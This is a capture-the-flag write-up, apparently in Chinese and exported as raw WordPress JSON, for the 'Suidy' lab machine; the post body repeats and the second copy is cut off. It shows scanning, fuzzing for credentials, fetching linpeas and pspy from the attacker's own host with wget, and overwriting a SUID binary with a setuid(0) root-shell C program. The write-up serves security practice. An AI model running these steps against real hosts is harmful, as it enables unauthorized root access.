![\"image-20240415133514267\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404151412146.png\")
<\/div>\n
![\"image-20240415133615424\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404151412150.png\")
<\/div><\/p>\n\u4fe1\u606f\u641c\u96c6<\/h2>\n\u7aef\u53e3\u626b\u63cf<\/h3>\nrustscan -a 192.168.0.108 -- -A<\/code><\/pre>\nOpen 192.168.0.108:80\nOpen 192.168.0.108:22\n\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n| 2048 8a:cb:7e:8a:72:82:84:9a:11:43:61:15:c1:e6:32:0b (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4YhI83WArQiDfcO80GMcc4DUDFQhmC4IKFDhVK7bxC9+pYtaUygCXDTZSLoX5BXnnvtbfF+wYT7MVIGxj39znToblF2I3vcJ2GZEt96KcyT4RshL18HKS79VT7TC5whrh\/PhY8GNb2Xn5ignDCMFaH+RCwg9mWp+Yiu9r8svmsMFhxM48y7DVn1vlBrcx1HAns8fA+tA0OtXOsmuFKnh\/jymMUOYfhSEvdHGsK4CpeSEJa3JVIJULe9mwHViuCmT7O0EUjLcZmIef04GnVSXKL3xugYWN0HXQkQvxMP2v2KgaxT7AfUYKbPSEZnmLng4VpAOmKdYLEdUvyzVhz\/9J\n| 256 7a:0e:b6:dd:8f:ee:a7:70:d9:b1:b5:6e:44:8f:c0:49 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBNmp0dgK7l7S9NTd1XRhz4\/2CKDn+uA0o9g87Z1lpOKEap9UTQ9RjxYGu9L22LKWyj+Sb1sm\/P5AU5zyT4VWhE=\n| 256 80:18:e6:c7:01:0e:c6:6d:7d:f4:d2:9f:c9:d0:6f:4c (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGAC9758\/9c\/Hgq5Bc\/VNn4Bf4DgrAw2Nr4ZT0k8PiI8\n80\/tcp open http syn-ack nginx 1.14.2\n|_http-server-header: nginx\/1.14.2\n| http-methods: \n|_ Supported Methods: GET HEAD\n|_http-title: Site doesn't have a title (text\/html).\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n<\/code><\/pre>\n\u6f0f\u6d1e\u626b\u63cf<\/h2>\n\u8e29\u70b9<\/h3>\n
![\"image-20240415133813517\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div>
\n<\/div><\/p>\n\u654f\u611f\u76ee\u5f55<\/h3>\nhttp:\/\/192.168.0.108\/robots.txt<\/code><\/pre>\n\/hi\n\/....\\..\\.-\\--.\\.-\\..\\-.\n.......\n\/shehatesme<\/code><\/pre>\n\u524d\u9762\u4fe9\u90fd\u662f\u65e0\u6548\u7684\u3002\u3002\u3002<\/p>\n
http:\/\/192.168.0.108\/shehatesme\/<\/code><\/pre>\nShe hates me because I FOUND THE REAL SECRET! I put in this directory a lot of .txt files. ONE of .txt files contains credentials like "theuser\/thepass" to access to her system! All that you need is an small dict from Seclist!<\/code><\/pre>\n\u5c1d\u8bd5\u767b\u5f55\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\n\u6210\u529f\uff0c\u4e0d\u7528\u518d\u53bb\u627e.txt<\/code>\u6587\u4ef6\u4e86\uff0c\u54c8\u54c8\u54c8\uff0c\u4e0d\u8fc7\u4ee5\u9632\u4e07\u4e00\u8fd8\u662f\u627e\u4e00\u4e0b\u5427\uff1a<\/p>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Suidy]\n\u2514\u2500$ ffuf -u http:\/\/192.168.0.108\/shehatesme\/FUZZ -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-small-files.txt -e txt \n\n \/'___\\ \/'___\\ \/'___\\ \n \/\\ \\__\/ \/\\ \\__\/ __ __ \/\\ \\__\/ \n \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\ \n \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/ \n \\ \\_\\ \\ \\_\\ \\ \\____\/ \\ \\_\\ \n \\\/_\/ \\\/_\/ \\\/___\/ \\\/_\/ \n\n v2.1.0-dev\n________________________________________________\n\n :: Method : GET\n :: URL : http:\/\/192.168.0.108\/shehatesme\/FUZZ\n :: Wordlist : FUZZ: \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-small-files.txt\n :: Extensions : txt \n :: Follow redirects : false\n :: Calibration : false\n :: Timeout : 10\n :: Threads : 40\n :: Matcher : Response status: 200-299,301,302,307,401,403,405,500\n________________________________________________\n\nindex.html [Status: 200, Size: 229, Words: 39, Lines: 7, Duration: 5ms]\n. [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 2ms]\nsearch.txt [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 41ms]\nsearch.txt [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 3ms]\n:: Progress: [22848\/22848] :: Job [1\/1] :: 13333 req\/sec :: Duration: [0:00:02] :: Errors: 0 ::<\/code><\/pre>\n\u770b\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Suidy]\n\u2514\u2500$ curl http:\/\/192.168.0.108\/shehatesme\/search.txt\njaime11\/JKiufg6<\/code><\/pre>\n\u8fd8\u6709\u610f\u5916\u6536\u83b7\uff1f\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Suidy]\n\u2514\u2500$ ssh jaime11@192.168.0.108\njaime11@192.168.0.108's password: \nPermission denied, please try again.<\/code><\/pre>\n\u597d\u597d\u597d\uff0c\u6765\u9a97\uff0c\u6765\u5077\u88ad\u3002\u3002\u3002<\/p>\n
\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\ntheuser@suidy:~$ whoami;id\ntheuser\nuid=1000(theuser) gid=1000(theuser) grupos=1000(theuser),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)\ntheuser@suidy:~$ ls -la\ntotal 36\ndrwxr-xr-x 3 theuser theuser 4096 sep 27 2020 .\ndrwxr-xr-x 4 root root 4096 sep 26 2020 ..\n-rw------- 1 theuser theuser 29 sep 27 2020 .bash_history\n-rw-r--r-- 1 theuser theuser 220 sep 26 2020 .bash_logout\n-rw-r--r-- 1 theuser theuser 3526 sep 26 2020 .bashrc\ndrwxr-xr-x 3 theuser theuser 4096 sep 26 2020 .local\n-rw-r--r-- 1 theuser theuser 807 sep 26 2020 .profile\n-rw-r--r-- 1 theuser theuser 11 sep 26 2020 user.txt\n-rw------- 1 theuser theuser 51 sep 26 2020 .Xauthority\ntheuser@suidy:~$ cat user.txt \nHMV2353IVI\ntheuser@suidy:~$ cat .bash_history\nls -la\nrm .bash_history\nexit\ntheuser@suidy:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/home\/suidy\/suidyyyyy\n\/usr\/bin\/su\n\/usr\/bin\/umount\n\/usr\/bin\/mount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/chfn\n\/usr\/bin\/newgrp\n\/usr\/bin\/passwd\n\/usr\/bin\/chsh\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/eject\/dmcrypt-get-device\ntheuser@suidy:~$ sudo -l\n-bash: sudo: orden no encontrada\ntheuser@suidy:~$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\ntheuser:x:1000:1000:theuser,,,:\/home\/theuser:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nsuidy:x:1001:1001:,,,:\/home\/suidy:\/bin\/bash\nsshd:x:105:65534::\/run\/sshd:\/usr\/sbin\/nologin\ntheuser@suidy:~$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Es un directorio\ncat: \/etc\/cron.daily: Es un directorio\ncat: \/etc\/cron.hourly: Es un directorio\ncat: \/etc\/cron.monthly: Es un directorio\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# | .------------- hour (0 - 23)\n# | | .---------- day of month (1 - 31)\n# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...\n# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# | | | | |\n# * * * * * user-name command to be executed\n17 * * * * root cd \/ && run-parts --report \/etc\/cron.hourly\n25 6 * * * root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.daily )\n47 6 * * 7 root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.weekly )\n52 6 1 * * root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.monthly )\n#\ncat: \/etc\/cron.weekly: Es un directorio\ntheuser@suidy:~$ crontab -l\nno crontab for theuser\ntheuser@suidy:~$ cd ..\ntheuser@suidy:\/home$ ls -la\ntotal 16\ndrwxr-xr-x 4 root root 4096 sep 26 2020 .\ndrwxr-xr-x 18 root root 4096 sep 26 2020 ..\ndrwxr-xr-x 3 suidy suidy 4096 sep 27 2020 suidy\ndrwxr-xr-x 3 theuser theuser 4096 sep 27 2020 theuser\ntheuser@suidy:\/home$ cd suidy\/\ntheuser@suidy:\/home\/suidy$ ls -la\ntotal 52\ndrwxr-xr-x 3 suidy suidy 4096 sep 27 2020 .\ndrwxr-xr-x 4 root root 4096 sep 26 2020 ..\n-rw------- 1 suidy suidy 12 sep 27 2020 .bash_history\n-rw-r--r-- 1 suidy suidy 220 sep 26 2020 .bash_logout\n-rw-r--r-- 1 suidy suidy 3526 sep 26 2020 .bashrc\ndrwxr-xr-x 3 suidy suidy 4096 sep 26 2020 .local\n-r--r----- 1 suidy suidy 197 sep 26 2020 note.txt\n-rw-r--r-- 1 suidy suidy 807 sep 26 2020 .profile\n-rwsrwsr-x 1 root theuser 16704 sep 26 2020 suidyyyyy\ntheuser@suidy:\/home\/suidy$ cat note.txt \ncat: note.txt: Permiso denegado\ntheuser@suidy:\/home\/suidy$ file suidyyyyy \nsuidyyyyy: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=a68ca005dccaf529f434e0408b05dc8614758fb7, not stripped<\/code><\/pre>\n\u4e0a\u4f20linpeas.sh\u3001pspy64<\/h3>\ntheuser@suidy:\/tmp$ wget http:\/\/192.168.0.143:8888\/linpeas.sh\n--2024-04-15 07:57:17-- http:\/\/192.168.0.143:8888\/linpeas.sh\nConectando con 192.168.0.143:8888... conectado.\nPetici\u00f3n HTTP enviada, esperando respuesta... 200 OK\nLongitud: 860549 (840K) [text\/x-sh]\nGrabando a: \u201clinpeas.sh\u201d\n\nlinpeas.sh 100%[=========================================================================>] 840,38K --.-KB\/s en 0,02s \n\n2024-04-15 07:57:17 (34,0 MB\/s) - \u201clinpeas.sh\u201d guardado [860549\/860549]\n\ntheuser@suidy:\/tmp$ wget http:\/\/192.168.0.143:8888\/pspy64s\n--2024-04-15 07:57:26-- http:\/\/192.168.0.143:8888\/pspy64s\nConectando con 192.168.0.143:8888... conectado.\nPetici\u00f3n HTTP enviada, esperando respuesta... 200 OK\nLongitud: 1233888 (1,2M) [application\/octet-stream]\nGrabando a: \u201cpspy64s\u201d\n\npspy64s 100%[=========================================================================>] 1,18M --.-KB\/s en 0,04s \n\n2024-04-15 07:57:26 (33,6 MB\/s) - \u201cpspy64s\u201d guardado [1233888\/1233888]\n\ntheuser@suidy:\/tmp$ chmod +x *\nchmod: cambiando los permisos de 'systemd-private-ebfd680b7996475d989587a3e3652f04-systemd-timesyncd.service-XnGwMV': Operaci\u00f3n no permitida<\/code><\/pre>\n<\/div><\/p>\ntheuser@suidy:\/tmp$ .\/pspy64s\n.\/pspy64s: \/lib\/x86_64-linux-gnu\/libc.so.6: version `GLIBC_2.32' not found (required by .\/pspy64s)\n.\/pspy64s: \/lib\/x86_64-linux-gnu\/libc.so.6: version `GLIBC_2.34' not found (required by .\/pspy64s)\ntheuser@suidy:\/tmp$ wget http:\/\/192.168.0.143:8888\/pspy64\n--2024-04-15 08:00:31-- http:\/\/192.168.0.143:8888\/pspy64\nConectando con 192.168.0.143:8888... conectado.\nPetici\u00f3n HTTP enviada, esperando respuesta... 200 OK\nLongitud: 4468984 (4,3M) [application\/octet-stream]\nGrabando a: \u201cpspy64\u201d\n\npspy64 100%[=========================================================================>] 4,26M 24,1MB\/s en 0,2s \n2024-04-15 08:00:31 (24,1 MB\/s) - \u201cpspy64\u201d guardado [4468984\/4468984]\n\ntheuser@suidy:\/tmp$ chmod +x pspy64\ntheuser@suidy:\/tmp$ .\/pspy64<\/code><\/pre>\n\u53d1\u73b01\u5206\u949f\u4e00\u6b21\u7684\u5b9a\u65f6\u4efb\u52a1\uff1a<\/p>\n
<\/div><\/p>\n\u5c1d\u8bd5\u8986\u76d6\u8fd9\u4e2asuidyyyyy<\/code>\u6587\u4ef6\u770b\u770b\u4f1a\u4e0d\u4f1a\u88ab\u89e6\u53d1\uff1a<\/p>\n# include <stdio.h>\nint main() { \n setuid(0);\n setgid(0);\n system("\/bin\/bash");\n}<\/code><\/pre>\n<\/div><\/p>\n# include <stdio.h>\n# include <unistd.h>\nint main() { \n setuid(0);\n setgid(0);\n system("\/bin\/bash");\n}<\/code><\/pre>\n\u66ff\u6362\u8fd0\u884c\u62ff\u5230flag\uff01<\/p>\n
theuser@suidy:\/tmp$ vi exp.c\ntheuser@suidy:\/tmp$ head exp.c \n# include <stdio.h>\n# include <unistd.h>\nint main() { \n setuid(0);\n setgid(0);\n system("\/bin\/bash");\n}\ntheuser@suidy:\/tmp$ gcc exp.c -o suidyyyyy\nexp.c: In function \u2018main\u2019:\nexp.c:6:2: warning: implicit declaration of function \u2018system\u2019 [-Wimplicit-function-declaration]\n system("\/bin\/bash");\n ^~~~~~\ntheuser@suidy:\/tmp$ ls\nexp.c linpeas.sh pspy64 pspy64s suidyyyyy systemd-private-ebfd680b7996475d989587a3e3652f04-systemd-timesyncd.service-XnGwMV\ntheuser@suidy:\/tmp$ cp suidyyyyy \/home\/suidy\/suidyyyyy\ntheuser@suidy:\/tmp$ cd \/home\/suidy\ntheuser@suidy:\/home\/suidy$ ls -la\ntotal 52\ndrwxr-xr-x 3 suidy suidy 4096 sep 27 2020 .\ndrwxr-xr-x 4 root root 4096 sep 26 2020 ..\n-rw------- 1 suidy suidy 12 sep 27 2020 .bash_history\n-rw-r--r-- 1 suidy suidy 220 sep 26 2020 .bash_logout\n-rw-r--r-- 1 suidy suidy 3526 sep 26 2020 .bashrc\ndrwxr-xr-x 3 suidy suidy 4096 sep 26 2020 .local\n-r--r----- 1 suidy suidy 197 sep 26 2020 note.txt\n-rw-r--r-- 1 suidy suidy 807 sep 26 2020 .profile\n-rwxrwxr-x 1 root theuser 16712 abr 15 08:11 suidyyyyy\ntheuser@suidy:\/home\/suidy$ file suidyyyyy \nsuidyyyyy: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=2fdf59b701e014500ae2cbfc1d11e8521e114ace, not stripped\ntheuser@suidy:\/home\/suidy$ .\/suidyyyyy \nroot@suidy:\/home\/suidy# whoami;id\nroot\nuid=0(root) gid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(theuser)\nroot@suidy:\/home\/suidy# cd \/root\nroot@suidy:\/root# ls -la\ntotal 32\ndrwx------ 3 root root 4096 sep 27 2020 .\ndrwxr-xr-x 18 root root 4096 sep 26 2020 ..\n-rw------- 1 root root 44 sep 27 2020 .bash_history\ndrwxr-xr-x 3 root root 4096 sep 26 2020 .local\n-rw-r--r-- 1 root root 148 ago 17 2015 .profile\n-rw-r--r-- 1 root root 11 sep 27 2020 root.txt\n-rw-r--r-- 1 root root 66 sep 26 2020 .selected_editor\n-rwxr-xr-x 1 root root 42 sep 26 2020 timer.sh\nroot@suidy:\/root# cat root.txt \nHMV0000EVE\nroot@suidy:\/root# cat timer.sh \n#!\/bin\/sh\nchmod +s \/home\/suidy\/suidyyyyy<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Suidy \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 192.168.0.108 — -A Open 19 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-565","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/565","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=565"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/565\/revisions"}],"predecessor-version":[{"id":566,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/565\/revisions\/566"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=565"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=565"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=565"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
rustscan -a 192.168.0.108 -- -A<\/code><\/pre>\nOpen 192.168.0.108:80\nOpen 192.168.0.108:22\n\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n| 2048 8a:cb:7e:8a:72:82:84:9a:11:43:61:15:c1:e6:32:0b (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4YhI83WArQiDfcO80GMcc4DUDFQhmC4IKFDhVK7bxC9+pYtaUygCXDTZSLoX5BXnnvtbfF+wYT7MVIGxj39znToblF2I3vcJ2GZEt96KcyT4RshL18HKS79VT7TC5whrh\/PhY8GNb2Xn5ignDCMFaH+RCwg9mWp+Yiu9r8svmsMFhxM48y7DVn1vlBrcx1HAns8fA+tA0OtXOsmuFKnh\/jymMUOYfhSEvdHGsK4CpeSEJa3JVIJULe9mwHViuCmT7O0EUjLcZmIef04GnVSXKL3xugYWN0HXQkQvxMP2v2KgaxT7AfUYKbPSEZnmLng4VpAOmKdYLEdUvyzVhz\/9J\n| 256 7a:0e:b6:dd:8f:ee:a7:70:d9:b1:b5:6e:44:8f:c0:49 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBNmp0dgK7l7S9NTd1XRhz4\/2CKDn+uA0o9g87Z1lpOKEap9UTQ9RjxYGu9L22LKWyj+Sb1sm\/P5AU5zyT4VWhE=\n| 256 80:18:e6:c7:01:0e:c6:6d:7d:f4:d2:9f:c9:d0:6f:4c (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGAC9758\/9c\/Hgq5Bc\/VNn4Bf4DgrAw2Nr4ZT0k8PiI8\n80\/tcp open http syn-ack nginx 1.14.2\n|_http-server-header: nginx\/1.14.2\n| http-methods: \n|_ Supported Methods: GET HEAD\n|_http-title: Site doesn't have a title (text\/html).\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n<\/code><\/pre>\n\u6f0f\u6d1e\u626b\u63cf<\/h2>\n\u8e29\u70b9<\/h3>\n
<\/div>
\n<\/div><\/p>\n\u654f\u611f\u76ee\u5f55<\/h3>\nhttp:\/\/192.168.0.108\/robots.txt<\/code><\/pre>\n\/hi\n\/....\\..\\.-\\--.\\.-\\..\\-.\n.......\n\/shehatesme<\/code><\/pre>\n\u524d\u9762\u4fe9\u90fd\u662f\u65e0\u6548\u7684\u3002\u3002\u3002<\/p>\n
http:\/\/192.168.0.108\/shehatesme\/<\/code><\/pre>\nShe hates me because I FOUND THE REAL SECRET! I put in this directory a lot of .txt files. ONE of .txt files contains credentials like "theuser\/thepass" to access to her system! All that you need is an small dict from Seclist!<\/code><\/pre>\n\u5c1d\u8bd5\u767b\u5f55\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\n\u6210\u529f\uff0c\u4e0d\u7528\u518d\u53bb\u627e.txt<\/code>\u6587\u4ef6\u4e86\uff0c\u54c8\u54c8\u54c8\uff0c\u4e0d\u8fc7\u4ee5\u9632\u4e07\u4e00\u8fd8\u662f\u627e\u4e00\u4e0b\u5427\uff1a<\/p>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Suidy]\n\u2514\u2500$ ffuf -u http:\/\/192.168.0.108\/shehatesme\/FUZZ -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-small-files.txt -e txt \n\n \/'___\\ \/'___\\ \/'___\\ \n \/\\ \\__\/ \/\\ \\__\/ __ __ \/\\ \\__\/ \n \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\ \n \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/ \n \\ \\_\\ \\ \\_\\ \\ \\____\/ \\ \\_\\ \n \\\/_\/ \\\/_\/ \\\/___\/ \\\/_\/ \n\n v2.1.0-dev\n________________________________________________\n\n :: Method : GET\n :: URL : http:\/\/192.168.0.108\/shehatesme\/FUZZ\n :: Wordlist : FUZZ: \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-small-files.txt\n :: Extensions : txt \n :: Follow redirects : false\n :: Calibration : false\n :: Timeout : 10\n :: Threads : 40\n :: Matcher : Response status: 200-299,301,302,307,401,403,405,500\n________________________________________________\n\nindex.html [Status: 200, Size: 229, Words: 39, Lines: 7, Duration: 5ms]\n. [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 2ms]\nsearch.txt [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 41ms]\nsearch.txt [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 3ms]\n:: Progress: [22848\/22848] :: Job [1\/1] :: 13333 req\/sec :: Duration: [0:00:02] :: Errors: 0 ::<\/code><\/pre>\n\u770b\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Suidy]\n\u2514\u2500$ curl http:\/\/192.168.0.108\/shehatesme\/search.txt\njaime11\/JKiufg6<\/code><\/pre>\n\u8fd8\u6709\u610f\u5916\u6536\u83b7\uff1f\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Suidy]\n\u2514\u2500$ ssh jaime11@192.168.0.108\njaime11@192.168.0.108's password: \nPermission denied, please try again.<\/code><\/pre>\n\u597d\u597d\u597d\uff0c\u6765\u9a97\uff0c\u6765\u5077\u88ad\u3002\u3002\u3002<\/p>\n
\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\ntheuser@suidy:~$ whoami;id\ntheuser\nuid=1000(theuser) gid=1000(theuser) grupos=1000(theuser),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)\ntheuser@suidy:~$ ls -la\ntotal 36\ndrwxr-xr-x 3 theuser theuser 4096 sep 27 2020 .\ndrwxr-xr-x 4 root root 4096 sep 26 2020 ..\n-rw------- 1 theuser theuser 29 sep 27 2020 .bash_history\n-rw-r--r-- 1 theuser theuser 220 sep 26 2020 .bash_logout\n-rw-r--r-- 1 theuser theuser 3526 sep 26 2020 .bashrc\ndrwxr-xr-x 3 theuser theuser 4096 sep 26 2020 .local\n-rw-r--r-- 1 theuser theuser 807 sep 26 2020 .profile\n-rw-r--r-- 1 theuser theuser 11 sep 26 2020 user.txt\n-rw------- 1 theuser theuser 51 sep 26 2020 .Xauthority\ntheuser@suidy:~$ cat user.txt \nHMV2353IVI\ntheuser@suidy:~$ cat .bash_history\nls -la\nrm .bash_history\nexit\ntheuser@suidy:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/home\/suidy\/suidyyyyy\n\/usr\/bin\/su\n\/usr\/bin\/umount\n\/usr\/bin\/mount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/chfn\n\/usr\/bin\/newgrp\n\/usr\/bin\/passwd\n\/usr\/bin\/chsh\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/eject\/dmcrypt-get-device\ntheuser@suidy:~$ sudo -l\n-bash: sudo: orden no encontrada\ntheuser@suidy:~$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System 